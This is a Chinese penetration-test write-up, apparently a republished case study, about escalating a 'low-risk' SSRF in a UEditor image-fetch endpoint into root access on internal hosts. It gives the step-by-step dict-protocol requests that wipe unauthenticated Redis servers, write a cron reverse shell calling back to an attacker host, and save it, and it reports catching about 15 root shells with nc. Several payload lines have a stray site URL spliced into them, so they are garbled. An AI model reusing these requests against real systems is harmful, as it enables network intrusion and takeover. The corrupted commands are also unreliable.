只用个低危SSRF提权就能进内网

**Github地址:https://github.com/r35tart/PenetrationTestingCase
-----------------------------------------------------漏洞详情:**低危SSRF漏洞
漏洞域名:http://xxxxxxxxx.*.com打开后自动跳转至:http://xxxxxxx.*.com/Public/login且状态码为404 一般这样的URI凭经验感觉是php的站,查看cookies基本可以确定是php的站

只用个低危SSRF提权就能进内网

文章插图
 
由于是404推测曾经可能跑过测试应用网站可能会遗留一些测试文件或者备份文件,故fuzz了一下看到phpmyadmin的状态码为206的时候就知道有WAF,应该不太好弄,但是看到ueditor百度编辑器的时候兴奋了,因为这很有可能存在SSRF,而你们的内网又那么大,搞不好还在我上次搞过的内网段中,所以如果存在SSRF的话有很大概率能够再次搞进内网 。
只用个低危SSRF提权就能进内网

文章插图
 
几经测试最终找到此SSRF并成功触发
只用个低危SSRF提权就能进内网

文章插图
 
低危漏洞提权接下来要做的事1. 摸清SSRF的状态是否为布尔状态
2. 此SSRF支持什么协议
3. 此SSRF是否支持302跳转
一、尝试请求一个没开放的1234端口回复"链接不可用"
二、尝试请求开放的22端口回显"链接不可用"
三、尝试请求开放的80端口回显"success"并把图片抓了回来
四、尝试请求我的302跳转回复"链接不可用"但是跳转成功 。得出结论:
此SSRF为布尔型SSRF,能探测http应用并获取html源码、支持302跳转,可尝试通过响应速度来探测端口但误报率很高(某些端口可能是一直连接,最后超时)
只用个低危SSRF提权就能进内网

文章插图
 
知道此SSRF的性质以后便需要开始测试他支持什么协议了,经测试发现由于使用的php版本比较老支持好几个协议,使用gopher协议的时候状态为206提示有WAF,但WAF却没拦截DICT协议,虽然gopher协议有WAF拦截但是支持DCIT的话一样可以扫描内网redis写shell反弹,只不过相对麻烦而已,并不碍事 。
只用个低危SSRF提权就能进内网

文章插图
 
现在有一个问题就是我并不知道内网IP段是多少,于是我便去Github上面去找内网域名,找到以下内网域名gitlab.corp.*.com、jk.corp.*.com、wiki.corp.*.com等… 并通过SSRF请求jk.corp.*.com从中获取到了内网IP信息
只用个低危SSRF提权就能进内网

文章插图
 
然后就开始尝试内网编织大致摸清了几个网段的分布和作用(根据logo识别应用)
只用个低危SSRF提权就能进内网

文章插图
 

只用个低危SSRF提权就能进内网

文章插图
 
最后发现88段应该为脆弱的开发业务段,根据之前搞了你们另外一个内网的经验,断定此段必定存在多个redis数据库而且还是空口令的,于是使用dict协议往10.20.85-95.1/24段发redis写shell的请求
使用dict协议向Redis数据库写shell1.先清除没用的数据,防止定时任务执行失败
/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=https://www.isolves.com/it/aq/wl/2020-07-06/flushall
2.利用302跳转写入反弹命令
/php/controller.php?action=catchimage&source[]=http://xxxx/s.php?s=dict%26ip=10.20.*.*%26port=6379%26bhost=*.*.*.*%26bport=1234
3.设置导出路径
/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=https://www.isolves.com/it/aq/wl/2020-07-06/config:set:dir:/var/spool/cron/
4.设置导出名字
/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=https://www.isolves.com/it/aq/wl/2020-07-06/config:set:dbfilename:root
5.导出
/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=https://www.isolves.com/it/aq/wl/2020-07-06/save
使用burp发包,为了避免语句顺序执行错误,故第一个包先跑50个再跑第二个包以此类推
只用个低危SSRF提权就能进内网

文章插图
 
获取内网多台ROOT权限使用nc持续监听端口,刚刚全部跑完马上就有差不多15台左右主机反弹出来了而且都是root权限
只用个低危SSRF提权就能进内网

文章插图
 


推荐阅读